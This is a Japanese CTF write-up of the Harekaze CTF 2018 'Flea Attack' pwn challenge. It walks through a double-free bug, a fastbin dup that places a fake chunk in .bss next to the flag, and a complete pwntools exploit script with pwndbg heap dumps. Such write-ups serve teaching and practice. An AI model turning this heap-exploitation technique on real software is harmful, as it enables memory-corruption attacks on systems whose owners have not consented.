Harekaze CTF 2018 writeup

# Flea Attack(Pwn, 200 points)
.bssにフラグ文字列が格納されていて、それを何とかして読む問題。(シェルまで取ってるwriteupもありましたが)
double free(どこでもfree)ができるということで、昨年の「SECCON Beginners NEXT 2017 東京」のPwnableでやってたFastbin DupからのFastbin unlink attackが使えるぞと脊髄反射して取り組んだわけですが、あとで[kusano_kさんのwriteup](https://qiita.com/kusano_k/items/ad11d0ed34b8abc67f2f#flea-attack-pwn-200)を読んで「はぁ～、すごくシンプル。。」と感動した次第。
## 動作概要
+ 最初にコメントを登録する
+ 以降、nameを追加したり削除したりする
+ nameを追加したとき、追加したnameの文字列とその格納アドレスが返る
+ nameを削除するときはその格納アドレスを入力する

``` shell-session
# ./flea_attack.elf
Some comment this note:hoge
1. Add name
2. Delete name
3. Exit
> 1
Size: 20
Name: AAAA
Done!
Name: AAAA

Addr: 19d1250
1. Add name
2. Delete name
3. Exit
> 1
Size: 20
Name: BBBB
Done!
Name: BBBB

Addr: 19d1270
1. Add name
2. Delete name
3. Exit
> 2
Addr: 19d1250
Done!
1. Add name
2. Delete name
3. Exit
> Invalid
1. Add name
2. Delete name
3. Exit
> 3
Bye.
```
## 脆弱点
関数del_name内(0x2013ca～0x2013f1あたり)にdouble free(どこでもfree?)の脆弱性がある。
![2018-03-09_221625.png](https://qiita-image-store.s3.amazonaws.com/0/242139/9162c4a0-c524-4a4f-4852-689c1411ea81.png)

## 考察
+ Add nameした後に、追加したnameが返る機能を利用して、フラグ文字列を表示させる
    + そのためには.bssにあるフラグ文字列格納アドレス(flag: 0x204080)の少し前にname格納領域(偽チャンク)を確保して、0x204080-1までNULLを含まない適当な文字列で埋める必要がある
    + 上記のような偽チャンクを確保するために、Fastbin DupからのFastbin unlink attackを使う
+ Fastbin unlink attackを成功させるためには、Fastbin DupによってfastbinsY[n]につながれたチャンクたちのsizeと偽チャンクのsizeを同じにしておく必要がある
    + .bssにおいてコメント格納領域(comment: 0x204000)とflag(0x204080)が隣接していることから、コメント内容に偽チャンクのヘッダ部分を入れておく
+ コメントを受け取る関数(gets_comment)は基本的に、「入力文字列に0xaか0x0が来るまでreadし続け、0x0は0xaに変換する。0xaの次のバイトを0x0に設定する。(original_fgets(0x201170)内)」という動きをするため、どうしてもコメントの終端に0xaが入ってしまう?
    + コメント文字数が0x5fの場合は上記変換処理が行われないのでパスできる
+ コメントの0x5f文字目を偽チャンクのsize部分下位1バイトとすると、偽チャンクの先頭アドレスは0x204056となる
    + 先頭アドレス0x204056のチャンクのデータ部分がflag(0x204080)まで達するためにはチャンクサイズとして0x30以上が必要

## 方針
1. コメントの入力文字数を0x5fとし、0x5f文字目に偽チャンクのsize(0x31)を設定する
2. サイズが0x30のチャンクを2つ確保(fb0, fb1)してfb0->fb1->fb0の順にfreeし、Fastbin Dupを成立させる
3. サイズが0x30のチャンクをmallocするとfb0が返るので、fb0->fd部分に偽チャンクの先頭アドレス(0x204056)を書き込む
4. サイズが0x30のチャンクを2回mallocすると、次に返るサイズ0x30のチャンクは偽チャンクとなっている
5. 再度サイズが0x30のチャンクをmallocすると偽チャンクが返る(Fastbin unlink attack成立)ので、そのデータ部分をflag(0x204080)直前までNULL以外の文字列で埋める

## exploit
```python
from pwn import *

context.log_level = 'INFO'

target = 'problem.harekaze.com'
port = 20175

conn = remote(target, port)

def add(size, name):
	conn.sendlineafter('> ', '1')
	conn.sendlineafter('Size: ', str(size))
	conn.sendlineafter('Name: ', str(name))
	conn.recvuntil('Done!\n')
	
	conn.recvuntil('Name: ')
	res_name = conn.recvuntil('\nAddr: ', True)
	res_addr = conn.recvuntil('\n', True)
	
	return [res_name, res_addr]

def delete(addr):
	conn.sendlineafter('> ', '2')
	conn.sendlineafter('Addr: ', addr)
	conn.recvuntil('Done!\n')

flag_addr = 0x204080
fake_addr = 0x204056

payload = ''
payload += 'A' * (0x58 + 6)
payload += p8(0x31)
conn.sendafter('note:', payload)

fb0 = add(0x20, 'A'*8)
fb1 = add(0x20, 'A'*8)

delete(fb0[1])
delete(fb1[1])
delete(fb0[1])

add(0x20, p64(fake_addr))
add(0x20, 'A'*8)
add(0x20, 'A'*8)

flag = add(0x20, 'A'*(0x18 + 1))[0]
print flag

conn.close()
```
## 検証メモ
`1.` コメントの入力文字数を0x5fとし、0x5f文字目に偽チャンクのsize(0x31)を設定する

```shell-session
pwndbg> x/16gx 0x204056
0x204056 <comment+86>:  0x4141414141414141      0x0000000000000031
0x204066 <comment+102>: 0x0000000000000000      0x0000000000000000
0x204076 <comment+118>: 0x0000000000000000      0x616b657261480000
0x204086 <flag+6>:      0x6d357b465443657a      0x6c616d735f6c3134
0x204096 <flag+22>:     0x635f616531665f31      0x375f6c6f72376e30
0x2040a6 <flag+38>:     0x646c7230775f3368      0x000000000000007d
```

`2.` サイズが0x30のチャンクを2つ確保(fb0, fb1)してfb0->fb1->fb0の順にfreeし、Fastbin Dupを成立させる

```shell-session
pwndbg> x/16gx 0x6b6240
0x6b6240:       0x0000000000000000      0x0000000000000031
0x6b6250:       0x00000000006b6270      0x000000000000000a
0x6b6260:       0x0000000000000000      0x0000000000000000
0x6b6270:       0x0000000000000000      0x0000000000000031
0x6b6280:       0x00000000006b6240      0x000000000000000a
0x6b6290:       0x0000000000000000      0x0000000000000000
0x6b62a0:       0x0000000000000000      0x000000000001fd61
0x6b62b0:       0x0000000000000000      0x0000000000000000
```

```shell-session
pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x6b6240 --> 0x6b6270 --> 0x6b6240 (overlap chunk with 0x6b6240(freed) )
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
                  top: 0x6b62a0 (size : 0x1fd60) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
```

`3.` サイズが0x30のチャンクをmallocするとfb0が返るので、fb0->fd部分に偽チャンクの先頭アドレス(0x204056)を書き込む

```shell-session
pwndbg> x/16gx 0x6b6240
0x6b6240:       0x0000000000000000      0x0000000000000031
0x6b6250:       0x0000000000204056      0x000000000000000a
0x6b6260:       0x0000000000000000      0x0000000000000000
0x6b6270:       0x0000000000000000      0x0000000000000031
0x6b6280:       0x00000000006b6240      0x000000000000000a
0x6b6290:       0x0000000000000000      0x0000000000000000
0x6b62a0:       0x0000000000000000      0x000000000001fd61
0x6b62b0:       0x0000000000000000      0x0000000000000000
```

```shell-session
pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x6b6270 --> 0x6b6240 --> 0x204056 --> 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
                  top: 0x6b62a0 (size : 0x1fd60) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
```

`4.` サイズが0x30のチャンクを2回mallocすると、次に返るサイズ0x30のチャンクは偽チャンクとなっている

```shell-session
pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x204056 --> 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
                  top: 0x6b62a0 (size : 0x1fd60) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
```

`5.` 再度サイズが0x30のチャンクをmallocすると偽チャンクが返る(Fastbin unlink attack成立)ので、そのデータ部分をflag(0x204080)直前までNULL以外の文字列で埋める

```shell-session
pwndbg> x/16gx 0x204056
0x204056 <comment+86>:  0x4141414141414141      0x0000000000000031
0x204066 <comment+102>: 0x4141414141414141      0x4141414141414141
0x204076 <comment+118>: 0x4141414141414141      0x616b657261480a41
0x204086 <flag+6>:      0x6d357b465443657a      0x6c616d735f6c3134
0x204096 <flag+22>:     0x635f616531665f31      0x375f6c6f72376e30
0x2040a6 <flag+38>:     0x646c7230775f3368      0x000000000000007d
```

```shell-session
[+] Opening connection to problem.harekaze.com on port 20175: Done
AAAAAAAAAAAAAAAAAAAAAAAAA
HarekazeCTF{5m41l_smal1_f1ea_c0n7rol_7h3_w0rld}
```